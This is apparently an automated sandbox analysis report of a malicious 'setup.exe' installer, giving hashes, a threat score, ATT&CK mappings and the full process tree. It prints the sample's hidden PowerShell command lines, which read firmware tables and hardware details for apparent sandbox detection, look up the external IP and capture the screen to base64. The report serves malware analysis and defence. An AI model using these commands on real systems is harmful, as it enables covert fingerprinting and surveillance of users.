6320fa68c09d99e29c758ea2d084ec95377e57e9982eef0cfeb49ef9bfaa4463

Analysis

max time kernel
149s
max time network
118s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
26/04/2026, 17:52

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General

Target
setup.exe
Size 111.9MB
Sample260426-wfzb9adx21
SHA256 6320fa68c09d99e29c758ea2d084ec95377e57e9982eef0cfeb49ef9bfaa4463
MD5 d073c9b439c4ff61e792281debbe24b8
SHA1 43cb6c4e5a9e7b37c074fe21d477732a28c08f9e
SHA512 347f385051e2ddfe1ed58ae8de02b3c24ae203ee921611cc7b07662cb118b762bb37330f6b3dde882608eed93deda941e176ea90183009d5b59e36f01d80c179
SSDEEP 1572864:LAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYBjqwb:m3iXdqwb
TLSH
T19B486C43B2A75098E4BBC57582D65323E9337C8A1F3069EF15885B312F73AE09B39B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3144	powershell.exe
1472	powershell.exe
3004	powershell.exe
3564	powershell.exe
3324	powershell.exe
4264	powershell.exe
4888	powershell.exe
4824	powershell.exe
2952	powershell.exe
3856	powershell.exe
1020	powershell.exe
2288	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
6	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1472	powershell.exe
1472	powershell.exe
2952	powershell.exe
2952	powershell.exe
3004	powershell.exe
3004	powershell.exe
3564	powershell.exe
3564	powershell.exe
3324	powershell.exe
3324	powershell.exe
4264	powershell.exe
4264	powershell.exe
4888	powershell.exe
4888	powershell.exe
4824	powershell.exe
4824	powershell.exe
3856	powershell.exe
3856	powershell.exe
1020	powershell.exe
1020	powershell.exe
2288	powershell.exe
2288	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	powershell.exe
Token: SeSecurityPrivilege	2952	powershell.exe
Token: SeTakeOwnershipPrivilege	2952	powershell.exe
Token: SeLoadDriverPrivilege	2952	powershell.exe
Token: SeSystemProfilePrivilege	2952	powershell.exe
Token: SeSystemtimePrivilege	2952	powershell.exe
Token: SeProfSingleProcessPrivilege	2952	powershell.exe
Token: SeIncBasePriorityPrivilege	2952	powershell.exe
Token: SeCreatePagefilePrivilege	2952	powershell.exe
Token: SeBackupPrivilege	2952	powershell.exe
Token: SeRestorePrivilege	2952	powershell.exe
Token: SeShutdownPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeSystemEnvironmentPrivilege	2952	powershell.exe
Token: SeRemoteShutdownPrivilege	2952	powershell.exe
Token: SeUndockPrivilege	2952	powershell.exe
Token: SeManageVolumePrivilege	2952	powershell.exe
Token: 33	2952	powershell.exe
Token: 34	2952	powershell.exe
Token: 35	2952	powershell.exe
Token: 36	2952	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeIncreaseQuotaPrivilege	3004	powershell.exe
Token: SeSecurityPrivilege	3004	powershell.exe
Token: SeTakeOwnershipPrivilege	3004	powershell.exe
Token: SeLoadDriverPrivilege	3004	powershell.exe
Token: SeSystemProfilePrivilege	3004	powershell.exe
Token: SeSystemtimePrivilege	3004	powershell.exe
Token: SeProfSingleProcessPrivilege	3004	powershell.exe
Token: SeIncBasePriorityPrivilege	3004	powershell.exe
Token: SeCreatePagefilePrivilege	3004	powershell.exe
Token: SeBackupPrivilege	3004	powershell.exe
Token: SeRestorePrivilege	3004	powershell.exe
Token: SeShutdownPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeSystemEnvironmentPrivilege	3004	powershell.exe
Token: SeRemoteShutdownPrivilege	3004	powershell.exe
Token: SeUndockPrivilege	3004	powershell.exe
Token: SeManageVolumePrivilege	3004	powershell.exe
Token: 33	3004	powershell.exe
Token: 34	3004	powershell.exe
Token: 35	3004	powershell.exe
Token: 36	3004	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 1240	4108	setup.exe	80
PID 1240 wrote to memory of 3144	1240	cmd.exe	82
PID 4108 wrote to memory of 1560	4108	setup.exe	83
PID 1560 wrote to memory of 1472	1560	cmd.exe	85
PID 1472 wrote to memory of 3516	1472	powershell.exe	86
PID 4108 wrote to memory of 3748	4108	setup.exe	87
PID 3748 wrote to memory of 2952	3748	cmd.exe	89
PID 4108 wrote to memory of 240	4108	setup.exe	91
PID 240 wrote to memory of 3004	240	cmd.exe	93
PID 4108 wrote to memory of 1184	4108	setup.exe	94
PID 1184 wrote to memory of 3564	1184	cmd.exe	96
PID 4108 wrote to memory of 4000	4108	setup.exe	97
PID 4000 wrote to memory of 3324	4000	cmd.exe	99
PID 4108 wrote to memory of 2224	4108	setup.exe	100
PID 2224 wrote to memory of 4264	2224	cmd.exe	102
PID 4108 wrote to memory of 3868	4108	setup.exe	103
PID 3868 wrote to memory of 4888	3868	cmd.exe	105
PID 4108 wrote to memory of 2452	4108	setup.exe	106
PID 2452 wrote to memory of 4024	2452	cmd.exe	108
PID 4108 wrote to memory of 3864	4108	setup.exe	109
PID 3864 wrote to memory of 4436	3864	cmd.exe	111
PID 4108 wrote to memory of 4092	4108	setup.exe	112
PID 4092 wrote to memory of 4824	4092	cmd.exe	114
PID 4108 wrote to memory of 3064	4108	setup.exe	115
PID 3064 wrote to memory of 3856	3064	cmd.exe	117
PID 4108 wrote to memory of 1800	4108	setup.exe	118
PID 1800 wrote to memory of 1020	1800	cmd.exe	120
PID 4108 wrote to memory of 2612	4108	setup.exe	121
PID 2612 wrote to memory of 2288	2612	cmd.exe	123

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x313322z\x313322z.cmdline"
      4⤵
      PID:3516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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